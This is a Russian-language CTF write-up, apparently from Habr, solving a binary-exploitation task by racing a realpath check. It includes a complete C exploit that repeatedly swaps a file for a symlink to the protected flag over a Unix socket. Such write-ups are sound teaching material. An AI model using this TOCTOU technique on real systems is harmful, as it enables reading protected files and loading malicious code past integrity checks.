В статье рассмотрим нестандартное решение задания на бинарную эксплуатацию – “R4v5h4n N Dj4m5hu7” и обойдем проверку реального пути к файлу
Задание распространяется в виде докера с 2 исполняемыми файлами и 2 конфигурационными файлами для серверной части
client, server – бинарные файлы. Клиентская и серверная часть
flag_file_path – файл с путем до флага
server.cfg – файл с блокируемым путем. (об этом дальше)
Содержимое Dockerfile:
Содержимое entrypoint.sh:
Посмотрим на серверную часть. Откроем файл в IDA Pro и перейдем в декомпилированный вид. Приложение открывает сокет /home/task/log_socket
И ждет подключения, после чего создает форк самого себя и запускает обработчик сообщений
Переключимся на клиентскую часть
Клиент подключается к сокету и ожидает ввода 2 строк – пути до файла и подстроки в этом файле. В общем, своеобразный grep для удаленной системы
Вернемся к серверной части и обработчику сообщений
Здесь приложение вызывает функцию load config
И ожидает две строки от клиента – путь и подстроку.
Затем проверяет, является ли файл разрешенным и запускает обработчик файла или директории в зависимости от переданного пути
Посмотрим на функцию load_config(). Здесь приложение читает файл с путем до флага и сохраняет его в переменную flag_path, затем читает конфиг с блокируемыми файлами
И добавляет все файлы, которые лежат в директории /proc/self (содержимое файла server.cfg) в черный список
Заметим, что файл /home/task/flag не добавлен в черный список и перейдем к функции process_file. Здесь видим, что переданный в функцию путь преобразуется к реальному, т.е. разрешаются все ссылки и конструкции вида “..\” и “.\” и затем происходит проверка на соответствие реального пути файлу с флагом. Если путь указывает на флаг, получаем ошибку.
Казалось бы, доступ к флагу просто чтением файла не получить, но можно провернуть трюк с гонкой.
Предположение следующее:
Если передать легитимный файл в директории, в которой решающий может создать файл (например, файл /home/ssh_user/test) и подменить его сразу после проверки реального пути, то получится прочитать флаг по ссылке.
Напишем собственный клиент.
Определим несколько дефайнов для удобства
#define TEST_FILE_PATH "/home/ssh_user/test" #define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa" #define FLAG_FILE_PATH "/home/task/flag" #define SOCKET_PATH "/home/task/log_socket"
Реализуем функцию отправки строки в сокет
unsigned long long send_string(char *sendstr, int socket_fd) { char input_buf[4096] = {0}; int msg_len; char *newline = strchr(sendstr, '\n'); if (newline) { *newline = '\0'; } msg_len = strlen(sendstr) + 1; int ret = send(socket_fd, &msg_len, sizeof(int), 0); check_err(ret, "Connection closed"); ret = send(socket_fd, sendstr, msg_len, 0); check_err(ret, "Connection closed"); return 0; }
Функция создания легитимного файла
void create_file(const char *path) { int fd = open(path, O_CREAT | O_WRONLY, 0644); if (fd == -1) { perror("Error creating file"); exit(EXIT_FAILURE); } write(fd, "This is a test file.\n", 21); close(fd); }
Создаем файл
create_file(TEST_FILE_PATH);
Подключаемся к сокету и отправляем входные данные:
int sockfd = connect_socket(SOCKET_PATH); char first[] = "/home/ssh_user/test"; char second[] = "{"; int ret = send_string(first,sockfd); check_err(ret, "Failed to send '/home/ssh_user/test'"); ret = send_string(second,sockfd); check_err(ret, "Failed to send '{'");
Затем необходимо в цикле реализовать схему:
1. Удаление файлов – легитимного и ссылки на флаг
2. Создание файла /home/ssh_user/test
3. Создание ссылки на /home/task/flag
4. Замена легитимного файла на ссылку
Цикл:
for(int j = 0; j < 50; j++){ remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH); create_file(TEST_FILE_PATH); if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) { close(sockfd); perror("Failed to create symbolic link"); exit(EXIT_FAILURE); } if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) { perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa"); close(sockfd); exit(EXIT_FAILURE); }}
Очевидно, что не обязательно наша идея сработает с первого раза, поэтому оборачиваем все в цикл на 50 итераций и получаем готовый эксплоит:
Эксплоит
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include <time.h> #define TEST_FILE_PATH "/home/ssh_user/test" #define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa" #define FLAG_FILE_PATH "/home/task/flag" #define SOCKET_PATH "/home/task/log_socket" void check_err(int ret_val, const char *error_msg) { if (ret_val == -1) { perror(error_msg); exit(EXIT_FAILURE); } } void create_file(const char *path) { int fd = open(path, O_CREAT | O_WRONLY, 0644); if (fd == -1) { perror("Error creating file"); exit(EXIT_FAILURE); } write(fd, "This is a test file.\n", 21); close(fd); } int connect_socket(const char *socket_path) { int sockfd; struct sockaddr_un addr; sockfd = socket(AF_UNIX, SOCK_STREAM, 0); check_err(sockfd, "Socket creation failed"); memset(&addr, 0, sizeof(struct sockaddr_un)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) == -1) { perror("Socket connection failed"); close(sockfd); exit(EXIT_FAILURE); } return sockfd; } unsigned long long send_string(char *sendstr, int socket_fd) { char input_buf[4096] = {0}; int msg_len; char *newline = strchr(sendstr, '\n'); if (newline) { *newline = '\0'; } msg_len = strlen(sendstr) + 1; int ret = send(socket_fd, &msg_len, sizeof(int), 0); check_err(ret, "Connection closed"); ret = send(socket_fd, sendstr, msg_len, 0); check_err(ret, "Connection closed"); return 0; } int main(int argc, char * argv[]) { for (int i = 0; i < 50; i++) { remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH); create_file(TEST_FILE_PATH); int sockfd = connect_socket(SOCKET_PATH); char first[] = "/home/ssh_user/test"; char second[] = "{"; int ret = send_string(first,sockfd); check_err(ret, "Failed to send '/home/ssh_user/test'"); ret = send_string(second,sockfd); check_err(ret, "Failed to send '{'"); for(int j = 0; j < 50; j++){ remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH); create_file(TEST_FILE_PATH); if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) { perror("Failed to create symbolic link"); exit(EXIT_FAILURE); } if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) { perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa"); close(sockfd); exit(EXIT_FAILURE); } } sleep(atoi(argv[1])); close(sockfd); } printf("Operation completed successfully.\n"); return 0; }
Компилируем
gcc -o new_client new_client.c
Прокидываем на сервер и тестируем (флаг заменен на тестовый)
Запускаем сервер
Запускаем клиент
И получаем результат на одной из попыток
В результате мы обошли проверку реального пути с помощью функции realpath.
К слову, такая уязвимость является довольно серьезной и может приводить к опасным событиям. Например, к загрузке вредоносных модулей после проверки их легитимности. Единственное условие – возможность записи в директорию.
P.S.
Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке
ссылка на оригинал статьи https://habr.com/ru/articles/854024/
Добавить комментарий